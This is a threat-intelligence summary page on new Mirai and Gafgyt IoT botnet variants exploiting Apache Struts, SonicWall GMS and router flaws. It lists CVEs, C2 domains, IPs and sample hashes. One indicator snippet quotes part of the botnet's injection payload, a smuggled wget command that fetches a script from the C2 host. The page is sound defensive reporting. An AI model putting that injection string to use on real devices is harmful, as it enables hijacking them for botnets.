Malwarehigh
Multi-exploit IoT/Linux Botnets Mirai and Gafgyt Target Apache Struts, SonicWall
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2017-17215 | Huawei HG532 with some customized versions has a remote code execution vulnerability | 8.8 | 78% | ||
| CVE-2017-5638 | Unauthenticated RCE in Apache Struts Jakarta Multipart parser | 9.8 | 100% | KEVRansomwarePoC ×10 | KEV |
| CVE-2017-6884 | Command Injection in Zyxel EMG2926 Router Diagnostics | 8.8 | 33% | KEVRansomwarePoC | KEV |
| CVE-2018-9866 | A vulnerability in lack of validation of user-supplied parameters pass to XML-RPC calls on SonicWall Global Management System (GMS) virtual appliance's, allow… | 9.8 | 5% | PoC |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | l.ocalhost.host | bruteforce functionality generally used by Mirai. They use l[.]ocalhost[.]host:47883 as C2, and the same encryption scheme as Mirai wi |
| domain | purenetworks.com | e campaigns linked above i.e. it targets SOAPAction: http://purenetworks[.]com/HNAP1/GetDeviceSettings/ D-Link OS Command Injection D-Li |
| ipv4 | 1.3.3.7 | ection : close Content - Length : x act = discover &address=1.3.3.7|`wget%20http://l.ocalhost.host/iscsi.sh%20-O%20-%3E%20/tmp/ |
| ipv4 | 185.10.68.127 | t 2018, that same domain resolved to a different IP address 185[.]10[.]68[.]127 . At that time we found that IP hosting samples of Ga |
| ipv4 | 185.10.68.213 | 509dee9b8072678b27290ed3 Infrastructure l[.]ocalhost[.]host 185[.]10[.]68[.]213 185[.]10[.]68[.]127 |
| md5 | 3bc601000ea8f085c22cb37b9b102b7f | pt - Language : en - US , en ; q = 0.8 Cookie : PHPSESSID = 3bc601000ea8f085c22cb37b9b102b7f ; lang = en Connection : close bfolder = % 2Fmtd % 2Fblock3 |
| md5 | 542b58462355e4e3b99faa42842e62ff | X - Requested - With : XMLHttpRequest Cookie : JSESSIONID = 542B58462355E4E3B99FAA42842E62FF Connection : close Pragma : no - cache Cache - Control : no |
| md5 | c9fdced9e8129eb4c14e3154cd0e0ce3 | pt - Language : en - US , en ; q = 0.8 Cookie : PHPSESSID = c9fdced9e8129eb4c14e3154cd0e0ce3 ; lang = en ; loginName = admin Connection : close Content |
| sha256 | 078eef70d754e9b64bc783f085846a2e8ae419653a79ed2386c4ade86fde68cb | c46933c20aaf64fd4c11557143fcfdc76eef192743fafd1b3a8bed3f4d2 078eef70d754e9b64bc783f085846a2e8ae419653a79ed2386c4ade86fde68cb ef090093496ccdab506848166a07554bfa74eb98a0546171b84fc73861f |
| sha256 | 1814c010f5e7391c7ea38850f9caf0771866e315f8d0c58c563818e71d30c208 | afebce1669 Samples with Sonicwall GMS exploit CVE-2018-9866 1814c010f5e7391c7ea38850f9caf0771866e315f8d0c58c563818e71d30c208 29540468514cd48b6c2571722018dffb49d12f99c95b248a44a1455fff0 |
| sha256 | 1913cf8e65114136cc309e72c384b717f0aeaaeae0c040188648c4afebce1669 | 4a5d8b84fb6ea6fc4b9ca3060959d5c0c77684cd2100731df2a3c7a204e 1913cf8e65114136cc309e72c384b717f0aeaaeae0c040188648c4afebce1669 Samples with Sonicwall GMS exploit CVE-2018-9866 1814c010f5 |
| sha256 | 29540468514cd48b6c2571722018dffb49d12f99c95b248a44a1455fff01acfb | 010f5e7391c7ea38850f9caf0771866e315f8d0c58c563818e71d30c208 29540468514cd48b6c2571722018dffb49d12f99c95b248a44a1455fff01acfb 39891a1c13e4e6ec9de410201f697d23c05e83a29ec0010c6c62c682938 |
| sha256 | 39891a1c13e4e6ec9de410201f697d23c05e83a29ec0010c6c62c6829386e6a6 | 468514cd48b6c2571722018dffb49d12f99c95b248a44a1455fff01acfb 39891a1c13e4e6ec9de410201f697d23c05e83a29ec0010c6c62c6829386e6a6 596270e91ccee3ec04a552bafde586af127ecac7141852edb9707ac6c47 |
| sha256 | 49cdb537f5e4081362545532a623f597212c8cea847cf9f2b2f1fe1f3cd0ec2f | 093496ccdab506848166a07554bfa74eb98a0546171b84fc73861f67c79 49cdb537f5e4081362545532a623f597212c8cea847cf9f2b2f1fe1f3cd0ec2f 99c22a0c0e252ab123fb3167f49d94dc12960b79565ca6dfd28f2ff5b03 |
| sha256 | 52274c46933c20aaf64fd4c11557143fcfdc76eef192743fafd1b3a8bed3f4d2 | 6a90b5f61c7ae82fcf305d23d48476e4f237ffff9d68b961171f168f255 52274c46933c20aaf64fd4c11557143fcfdc76eef192743fafd1b3a8bed3f4d2 078eef70d754e9b64bc783f085846a2e8ae419653a79ed2386c4ade86fd |
| sha256 | 596270e91ccee3ec04a552bafde586af127ecac7141852edb9707ac6c4779a99 | a1c13e4e6ec9de410201f697d23c05e83a29ec0010c6c62c6829386e6a6 596270e91ccee3ec04a552bafde586af127ecac7141852edb9707ac6c4779a99 68b27935c7d064478339f7d95b57ff06ffa1efbd81009b4a2870c5cf3e0 |
| sha256 | 68b27935c7d064478339f7d95b57ff06ffa1efbd81009b4a2870c5cf3e0b0b35 | 0e91ccee3ec04a552bafde586af127ecac7141852edb9707ac6c4779a99 68b27935c7d064478339f7d95b57ff06ffa1efbd81009b4a2870c5cf3e0b0b35 92a4c6ae034c3a03c21b74bdc00264192e60a85deedd90b99a3e350758e |
| sha256 | 710d56a90b5f61c7ae82fcf305d23d48476e4f237ffff9d68b961171f168f255 | a36f55d6b8ffd034df7d04156d31411719ce9bc28e6d30c8427feacb397 710d56a90b5f61c7ae82fcf305d23d48476e4f237ffff9d68b961171f168f255 52274c46933c20aaf64fd4c11557143fcfdc76eef192743fafd1b3a8bed |
| sha256 | 92a4c6ae034c3a03c21b74bdc00264192e60a85deedd90b99a3e350758eb85c1 | 935c7d064478339f7d95b57ff06ffa1efbd81009b4a2870c5cf3e0b0b35 92a4c6ae034c3a03c21b74bdc00264192e60a85deedd90b99a3e350758eb85c1 aab0ec600cdf57f28f9480ff3a9d3547f699af005c015b74c5c9e39a992 |
| sha256 | 99c22a0c0e252ab123fb3167f49d94dc12960b79565ca6dfd28f2ff5b0346348 | 537f5e4081362545532a623f597212c8cea847cf9f2b2f1fe1f3cd0ec2f 99c22a0c0e252ab123fb3167f49d94dc12960b79565ca6dfd28f2ff5b0346348 ae2354a5d8b84fb6ea6fc4b9ca3060959d5c0c77684cd2100731df2a3c7 |
| sha256 | aab0ec600cdf57f28f9480ff3a9d3547f699af005c015b74c5c9e39a992570b6 | 6ae034c3a03c21b74bdc00264192e60a85deedd90b99a3e350758eb85c1 aab0ec600cdf57f28f9480ff3a9d3547f699af005c015b74c5c9e39a992570b6 d8fbf6d68993045b4840729c788665ab10c50c42b27246a290031664f3b |
| sha256 | ae2354a5d8b84fb6ea6fc4b9ca3060959d5c0c77684cd2100731df2a3c7a204e | a0c0e252ab123fb3167f49d94dc12960b79565ca6dfd28f2ff5b0346348 ae2354a5d8b84fb6ea6fc4b9ca3060959d5c0c77684cd2100731df2a3c7a204e 1913cf8e65114136cc309e72c384b717f0aeaaeae0c040188648c4afebc |
| sha256 | d6648a36f55d6b8ffd034df7d04156d31411719ce9bc28e6d30c8427feacb397 | Compromise Samples with Apache Struts exploit CVE-2017-5638 d6648a36f55d6b8ffd034df7d04156d31411719ce9bc28e6d30c8427feacb397 710d56a90b5f61c7ae82fcf305d23d48476e4f237ffff9d68b961171f16 |
| sha256 | d8fbf6d68993045b4840729c788665ab10c50c42b27246a290031664f3b956eb | c600cdf57f28f9480ff3a9d3547f699af005c015b74c5c9e39a992570b6 d8fbf6d68993045b4840729c788665ab10c50c42b27246a290031664f3b956eb dafe1b513183902692c8ba8b2a95fede7c13937e49bf21294de448df05e |
| sha256 | dafe1b513183902692c8ba8b2a95fede7c13937e49bf21294de448df05edff18 | 6d68993045b4840729c788665ab10c50c42b27246a290031664f3b956eb dafe1b513183902692c8ba8b2a95fede7c13937e49bf21294de448df05edff18 f89d742c4d3312ac9bd707a9135235482c554e369cb646dcd97f6a14b42 |
| sha256 | ef090093496ccdab506848166a07554bfa74eb98a0546171b84fc73861f67c79 | f70d754e9b64bc783f085846a2e8ae419653a79ed2386c4ade86fde68cb ef090093496ccdab506848166a07554bfa74eb98a0546171b84fc73861f67c79 49cdb537f5e4081362545532a623f597212c8cea847cf9f2b2f1fe1f3cd |
| sha256 | f89d742c4d3312ac9bd707a9135235482c554e369cb646dcd97f6a14b4210136 | b513183902692c8ba8b2a95fede7c13937e49bf21294de448df05edff18 f89d742c4d3312ac9bd707a9135235482c554e369cb646dcd97f6a14b4210136 fab034d705b3ad7a10101858daf5da93a88f8bfd509dee9b8072678b272 |
| sha256 | fab034d705b3ad7a10101858daf5da93a88f8bfd509dee9b8072678b27290ed3 | 42c4d3312ac9bd707a9135235482c554e369cb646dcd97f6a14b4210136 fab034d705b3ad7a10101858daf5da93a88f8bfd509dee9b8072678b27290ed3 Infrastructure l[.]ocalhost[.]host 185[.]10[.]68[.]213 185[ |
From the original article
8 min read at unit42.paloaltonetworks.com
Unit 42 has uncovered new variants of the well-known IoT botnets Mirai and Gafgyt. These are the IoT botnets associated with unprecedented Distributed Denial of Service attacks in November 2016 and since. The new Mirai version targets the same Apache Struts vulnerability associated with the Equifax data breach in 2017.
By Ruchna Nigam · unit42.paloaltonetworks.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.